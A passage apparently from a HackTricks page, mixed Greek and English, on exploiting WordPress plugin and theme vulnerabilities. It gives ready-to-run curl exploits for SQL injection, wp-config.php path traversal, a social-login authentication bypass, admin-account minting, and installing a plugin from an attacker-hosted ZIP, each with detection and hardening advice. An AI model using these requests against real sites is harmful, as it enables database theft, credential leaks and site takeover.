  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
  • Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.

WordPress Protection

Τακτικές ενημερώσεις

Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Επίσης, εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes.

Security Plugins

Άλλες Συστάσεις

  • Αφαιρέστε τον προεπιλεγμένο χρήστη admin
  • Χρησιμοποιήστε ισχυρούς κωδικούς και 2FA
  • Περιοδικά ελέγχετε τα δικαιώματα των χρηστών
  • Περιορίστε τις προσπάθειες σύνδεσης για να αποτρέψετε επιθέσεις Brute Force
  • Μετονομάστε το αρχείο wp-admin.php και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες IP διευθύνσεις.

Μη-εξουσιοδοτημένο SQL Injection λόγω ανεπαρκούς validation (WP Job Portal <= 2.3.2)

Το WP Job Portal recruitment plugin αποκάλυπτε μια εργασία savecategory που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Προβλήματα που εισάγονται από αυτό το απόσπασμα:

  1. Μη φιλτραρισμένη είσοδος χρήστηparentid προέρχεται απευθείας από το HTTP αίτημα.
  2. String concatenation inside the WHERE clause – δεν υπάρχουν is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – παρότι η ενέργεια εκτελείται μέσω του admin-post.php, ο μοναδικός έλεγχος είναι ένα CSRF nonce (wp_verify_nonce()), το οποίο οποιοσδήποτε επισκέπτης μπορεί να πάρει από μια δημόσια σελίδα που ενσωματώνει το shortcode [wpjobportal_my_resumes].

Εκμετάλλευση

  1. Πάρε ένα φρέσκο nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Εισαγωγή αυθαίρετου SQL εκμεταλλευόμενοι το parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Η απάντηση αποκαλύπτει το αποτέλεσμα του εγχυμένου ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Μια άλλη ενέργεια, downloadcustomfile, επέτρεπε στους επισκέπτες να κατεβάζουν οποιοδήποτε αρχείο στο δίσκο μέσω path traversal. Ο ευάλωτος κώδικας βρίσκεται στο modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name ελέγχεται από attacker και συνενώνεται χωρίς καθαρισμό. Και πάλι, το μόνο εμπόδιο είναι ένα CSRF nonce που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού.

Εκμετάλλευση

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Ο διακομιστής απαντά με τα περιεχόμενα του wp-config.php, leaking DB credentials and auth keys.

Μη πιστοποιημένη κατάληψη λογαριασμού μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Πολλά themes/plugins παρέχουν “social login” helpers εκτεθειμένα μέσω admin-ajax.php. Αν μια μη-πιστοποιημένη AJAX action (wp_ajax_nopriv_…) εμπιστεύεται client-supplied identifiers όταν τα δεδομένα του provider λείπουν και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό οδηγεί σε full authentication bypass.

Τυπικό ελαττωματικό μοτίβο (απλουστευμένο)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Γιατί είναι εκμεταλλεύσιμο

  • Μη αυθεντικοποιημένη προσβασιμότητα μέσω admin-ajax.php (wp_ajax_nopriv_… action).
  • Δεν υπάρχουν nonce/capability checks πριν από την αλλαγή κατάστασης.
  • Έλλειψη επαλήθευσης OAuth/OpenID provider; ο default branch δέχεται attacker input.
  • get_user_by(‘email’, $_POST[‘id’]) ακολουθούμενο από wp_set_auth_cookie($uid) αυθεντικοποιεί τον requester ως οποιαδήποτε υπάρχουσα διεύθυνση email.

Εκμετάλλευση (μη αυθεντικοποιημένη)

  • Προαπαιτούμενα: attacker μπορεί να φτάσει το /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει ένα έγκυρο email χρήστη.
  • Ορίστε provider σε μια μη υποστηριζόμενη τιμή (ή παραλείψτε το) για να χτυπήσετε το default branch και περάστε id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* για τον χρήστη-θύμα; οι επακόλουθες αιτήσεις είναι authenticated.

Finding the action name

  • Ελέγξτε το theme/plugin για add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations στον κώδικα social login (π.χ., framework/add-ons/social-login/class-social-login.php).
  • Grep για wp_set_auth_cookie(), get_user_by(‘email’, …) μέσα σε AJAX handlers.

Detection checklist

  • Web logs που δείχνουν unauthenticated POSTs προς /wp-admin/admin-ajax.php με το social-login action και id=.
  • 200 responses με το success JSON αμέσως πριν από authenticated traffic από το ίδιο IP/User-Agent.

Hardening

  • Μην απορρίπτετε την ταυτότητα από input του client. Δέχεστε μόνο emails/IDs που προέρχονται από validated provider token/ID.
  • Απαιτήστε CSRF nonces και capability checks ακόμα και για login helpers; αποφύγετε την καταχώρηση wp_ajax_nopriv_ εκτός αν είναι απολύτως αναγκαίο.
  • Validate και verify τις OAuth/OIDC responses server-side; απορρίψτε missing/invalid providers (μην κάνετε fallback στο POST id).
  • Σκεφτείτε προσωρινή απενεργοποίηση του social login ή virtual patching στο edge (μπλοκάρετε το ευάλωτο action) μέχρι να διορθωθεί.

Patched behaviour (Jobmonster 4.8.0)

  • Αφαιρέθηκε το insecure fallback από $_POST[‘id’]; $user_email πρέπει να προέρχεται από verified provider branches στο switch($_POST[‘using’]).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Κάποια plugins εκθέτουν REST endpoints που mint reusable “connection keys” ή tokens χωρίς να επαληθεύουν τα capabilities του καλούντος. Αν το route authenticates μόνο σε ένα guessable attribute (π.χ., username) και δεν δεσμεύει το key σε χρήστη/session με capability checks, οποιοσδήποτε unauthenticated attacker μπορεί να mint ένα key και να καλέσει privileged actions (δημιουργία admin account, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Γιατί είναι εκμεταλλεύσιμο

  • Ευαίσθητο REST route προστατευμένο μόνο από απόδειξη ταυτότητας χαμηλής εντροπίας (username) ή με απουσία permission_callback
  • Δεν υπάρχει επιβολή capability· το minted key γίνεται αποδεκτό ως καθολικό bypass

Detection checklist

  • Grep τον κώδικα του plugin για register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • Οποιοδήποτε route που εκδίδει tokens/keys με βάση ταυτότητα που παρέχεται στο request (username/email) χωρίς σύνδεση με authenticated user ή capability
  • Ψάξτε για επόμενα routes που αποδέχονται το minted token/key χωρίς server-side ελέγχους capability

Hardening

  • Για οποιοδήποτε privileged REST route: απαιτείστε permission_callback που επιβάλλει current_user_can() για την απαιτούμενη capability
  • Μην δημιουργείτε μακροχρόνια keys από identity που παρέχεται από τον client· αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά authentication και επανελέγξτε τις capabilities κατά τη χρήση
  • Επικυρώστε το user context του καλούντος (wp_set_current_user δεν αρκεί από μόνο του) και απορρίψτε αιτήματα όπου !is_user_logged_in() || !current_user_can()

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)

Nonces αποτρέπουν CSRF, όχι authorization. Εάν ο κώδικας θεωρεί το πέρασμα μιας nonce ως πράσινο φως και στη συνέχεια παραλείπει τους ελέγχους capability για privileged operations (π.χ. install/activate plugins), μη αυθεντικοποιημένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευπαθές plugin.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (το σχήμα εξαρτάται από το plugin; ενδεικτικό μόνο)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Λίστα εντοπισμού

  • REST/AJAX handlers που τροποποιούν plugins/themes με μόνο wp_verify_nonce()/check_admin_referer() και χωρίς έλεγχο capability
  • Οποιαδήποτε ροή κώδικα που θέτει $skip_caps = true μετά την επικύρωση nonce

Σκληροποίηση

  • Πάντα να θεωρείτε τα nonces μόνο ως CSRF tokens· επιβάλλετε έλεγχους capability ανεξαρτήτως της κατάστασης του nonce
  • Απαιτήστε current_user_can(‘install_plugins’) και current_user_can(‘activate_plugins’) πριν φτάσει ο κώδικας εγκατάστασης
  • Απορρίψτε μη-ελεγμένη πρόσβαση· αποφύγετε την έκθεση nopriv AJAX actions για ροές με προνόμια

Subscriber+ AJAX plugin installer → εξαναγκαστική κακόβουλη ενεργοποίηση (Motors Theme ≤ 5.6.81)

Patchstack’s analysis έδειξε πώς το Motors theme παρέχει έναν authenticated AJAX helper για την εγκατάσταση του companion plugin του:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Καλείται μόνο το check_ajax_referer() — δεν υπάρχει current_user_can('install_plugins') ή current_user_can('activate_plugins').
  • Το nonce είναι ενσωματωμένο στη σελίδα διαχείρισης του Motors, οπότε οποιοσδήποτε Subscriber μπορεί να ανοίξει το /wp-admin/ και να το αντιγράψει από το HTML/JS.
  • Ο handler εμπιστεύεται την παράμετρο plugin που ελέγχεται από attacker (διαβάζεται από $_GET) και τη μεταβιβάζει στο Plugin_Upgrader::install(), οπότε ένα αυθαίρετο απομακρυσμένο ZIP κατεβαίνει στο wp-content/plugins/.
  • Μετά την εγκατάσταση το theme καλεί χωρίς προϋποθέσεις το mvl_theme_activate_plugin(), εξασφαλίζοντας την εκτέλεση του PHP κώδικα του attacker plugin.

Ροή εκμετάλλευσης

  1. Δημιουργήστε/υποκλέψτε έναν λογαριασμό με χαμηλά προνόμια (αρκεί ο Subscriber) και αποκτήστε το mvl_theme_install_base nonce από το Motors dashboard UI.
  2. Δημιουργήστε ένα plugin ZIP του οποίου ο κορυφαίος κατάλογος ταιριάζει με το αναμενόμενο slug motors-car-dealership-classified-listings/ και ενσωματώστε ένα backdoor ή webshell στα *.php σημεία εισόδου.
  3. Φιλοξενήστε το ZIP και πυροδοτήστε τον installer δείχνοντας τον handler στο URL σας:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

Επειδή ο handler διαβάζει $_GET['plugin'], το ίδιο payload μπορεί επίσης να σταλεί μέσω του query string.

Λίστα ελέγχου ανίχνευσης

  • Αναζητήστε θέματα/πρόσθετα για Plugin_Upgrader, Theme_Upgrader, ή custom install_plugin.php helpers που είναι wired σε wp_ajax_* hooks χωρίς capability checks.
  • Εξετάστε οποιονδήποτε handler που παίρνει παράμετρο plugin, package, source, ή url και τη δίνει σε upgrader APIs, ειδικά όταν το slug είναι hard-coded αλλά τα περιεχόμενα του ZIP δεν επικυρώνονται.
  • Ελέγξτε admin σελίδες που εκθέτουν nonces για installer actions — αν οι Subscribers μπορούν να φορτώσουν τη σελίδα, θεωρήστε ότι το nonce leaks.

Σκληροποίηση

  • Περιορίστε installer AJAX callbacks με current_user_can('install_plugins') και current_user_can('activate_plugins') μετά την επαλήθευση nonce· το Motors 5.6.82 εισήγαγε αυτόν τον έλεγχο για να διορθώσει το bug.
  • Αρνηθείτε untrusted URLs: περιορίστε τους installers σε bundled ZIPs ή trusted repositories, ή επιβάλετε signed download manifests.
  • Αντιμετωπίζετε τα nonces αυστηρά ως CSRF tokens· δεν παρέχουν authorization και δεν πρέπει ποτέ να αντικαθιστούν capability checks.

Μη αυθεντικοποιημένο SQLi μέσω της παραμέτρου s (search) στις ενέργειες depicter-* (Depicter Slider ≤ 3.6.1)

Πολλαπλές ενέργειες depicter-* κατανάλωναν την παράμετρο s (search) και την συνένωναν σε SQL queries χωρίς parameterization.

  • Παράμετρος: s (search)
  • Σφάλμα: άμεση συνένωση string σε WHERE/LIKE clauses; χωρίς prepared statements/sanitization
  • Επιπτώσεις: database exfiltration (users, hashes), lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Χρησιμοποιήστε grep για depicter-* action handlers και για άμεση χρήση των $_GET[‘s’] ή $_POST[‘s’] σε SQL
  • Επανεξετάστε custom queries που περνιούνται σε $wpdb->get_results()/query() τα οποία concatenating s

Hardening

  • Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders · απορρίπτετε μη αναμενόμενα metacharacters server-side
  • Προσθέστε αυστηρή allowlist για s και κανονικοποιήστε στο αναμενόμενο charset/μήκος

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Η αποδοχή διαδρομών ελεγχόμενων από attacker σε παράμετρο template χωρίς κανονικοποίηση/περιορισμό επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στη runtime.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: καμία κανονικοποίηση/allowlisting; επιτρέπεται traversal
  • Impact: αποκάλυψη secrets (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP)

PoC – read wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Λίστα ελέγχου ανίχνευσης

  • Οποιοσδήποτε handler που συνενώνει διαδρομές αιτήματος σε include()/require()/read sinks χωρίς containment με realpath()
  • Αναζητήστε μοτίβα traversal (../) που φτάνουν έξω από τον προοριζόμενο templates directory

Σκληροποίηση

  • Επιβάλλετε allowlisted templates; επιλύστε με realpath() και απαιτήστε str_starts_with(realpath(file), realpath(allowed_base))
  • Κανονικοποιήστε την είσοδο; απορρίψτε ακολουθίες traversal και απόλυτες διαδρομές; χρησιμοποιήστε sanitize_file_name() μόνο για ονόματα αρχείων (όχι για ολόκληρες διαδρομές)

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks